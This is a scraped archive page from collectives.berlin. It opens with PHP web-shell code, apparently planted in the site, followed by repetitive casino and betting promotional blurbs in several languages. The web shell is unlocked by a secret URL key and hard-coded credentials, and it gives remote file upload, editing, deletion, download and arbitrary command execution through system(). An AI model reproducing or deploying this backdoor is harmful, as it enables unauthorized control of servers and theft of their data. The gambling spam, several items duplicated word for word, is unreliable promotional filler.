if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 10 – collectives.berlin

Your digital paradise.

Category: public

  • How to choose the right games at Best Betting Sites in Australia: Quality odds

    Choosing the right games at online casinos can play a significant role in enhancing your gaming experience, especially when it comes to quality odds. With many options available, especially from ACMA-licensed betting sites in Australia, exploring new betting sites can help you understand the nuances of these games, ensuring you make informed decisions while maximizing…

    Click or not…

  • How to choose the right games at Best Betting Sites in Australia: Quality odds

    Choosing the right games at online casinos can play a significant role in enhancing your gaming experience, especially when it comes to quality odds. With many options available, especially from ACMA-licensed betting sites in Australia, exploring new betting sites can help you understand the nuances of these games, ensuring you make informed decisions while maximizing…

    Click or not…

  • Unlocking the best rewards: Betting Sites Australia promo offers you shouldn’t miss

    As the world of online gaming continues to evolve, Australian bettors are increasingly looking for the best platforms to enjoy their favorite games. Betting sites play a crucial role in delivering thrilling experiences, and understanding the best available promotions can significantly enhance the gaming experience. In 2026, various licensed bookmakers are offering exceptional betting opportunities,…

    Click or not…

  • Pusulabet’te güvenli ve hızlı para çekme yöntemleri

    Pusulabet, çevrimiçi kumarhane dünyasında kendine güvenilir bir yer edinmiştir. Kullanıcı dostu arayüzü, geniş oyun seçenekleri ve hızlı ödeme süreçleri ile dikkat çekmektedir. Bu yazıda, Pusulabet’te güvenli ve hızlı para çekme yöntemlerini detaylı bir şekilde inceleyeceğiz. Hızlı ve sorunsuz bir para çekme süreci, oyuncular için hayati öneme sahiptir. Bu nedenle, bu makalede Pusulabet’in sunduğu çeşitli para…

    Click or not…

  • Безопасные платежи в 888starz casino: как быстро вывести выигрыш

    В мире азартных игр безопасность платежей и скорость вывода выигрышей играют ключевую роль для игроков. Каждый, кто участвует в онлайн-казино, хочет не только наслаждаться играми, но и быть уверенным, что его финансы находятся в безопасности, особенно если он выбирает платформу, где можно 888starz скачать для удобного доступа к своим средствам. В этой статье мы рассмотрим…

    Click or not…

  • Безопасные платежи в 888starz casino: как быстро вывести выигрыш

    В мире азартных игр безопасность платежей и скорость вывода выигрышей играют ключевую роль для игроков. Каждый, кто участвует в онлайн-казино, хочет не только наслаждаться играми, но и быть уверенным, что его финансы находятся в безопасности, особенно если он выбирает платформу, где можно 888starz скачать для удобного доступа к своим средствам. В этой статье мы рассмотрим…

    Click or not…

  • Безопасные платежи в 888starz casino: как быстро вывести выигрыш

    В мире азартных игр безопасность платежей и скорость вывода выигрышей играют ключевую роль для игроков. Каждый, кто участвует в онлайн-казино, хочет не только наслаждаться играми, но и быть уверенным, что его финансы находятся в безопасности, особенно если он выбирает платформу, где можно 888starz скачать для удобного доступа к своим средствам. В этой статье мы рассмотрим…

    Click or not…

  • İlk dəfə Pinco Casino-da oynamaq: addım-addım bələdçi

    Onlayn kazinolar, əyləncə dünyasında inqilab edərək, oyunsevərlərin istədikləri zaman və yerdə oynamağa imkan tanıyır. Bu məqalədə, ilk dəfə bir onlayn kazinoda necə qeydiyyatdan keçmək, oyunları seçmək və əyləncəli vaxt keçirmək barədə addım-addım bələdçi təqdim edəcəyik. Oyunların geniş seçimi, cazibədar bonuslar və mükafatlar ilə dolu olan bu platformalar, yeni oyunçular üçün təlqin edici bir təcrübə təqdim…

    Click or not…

  • Pinco casino-da idman mərc etmələri: necə başlayırsınız?

    Onlayn kazino və idman mərc oyunları, müasir dövrdə geniş yayılmış əyləncə vasitəsinə çevrilib. Pinco casino, Azərbaycan oyunçuları üçün yüksək keyfiyyətli xidmətlər təklif edərək, oyun təcrübəsini maksimum dərəcədə artırır. Bu məqalədə, Pinco app casino-da necə başlayacağınızı və nələrə diqqət etməli olduğunuzu araşdıracağıq. Onlayn kazino qeydiyyat prosesi yeni oyunçular üçün Pinco casino-da qeydiyyat prosesi, yeni oyunçular üçün…

    Click or not…

  • Pin Up casino: официальный обзор с безопасным доступом и актуальными бонусами

    Сегодня азартные игры становятся все более популярными, и онлайн-казино привлекают игроков своим удобством и разнообразием. Одним из таких казино является Пин Ап казино официальный сайт играть , предлагающее широкий выбор игр и заманчивые бонусы. В этом обзоре мы рассмотрим ключевые аспекты, которые помогут игрокам сделать осознанный выбор при регистрации и игре в этом казино. Основы,…

    Click or not…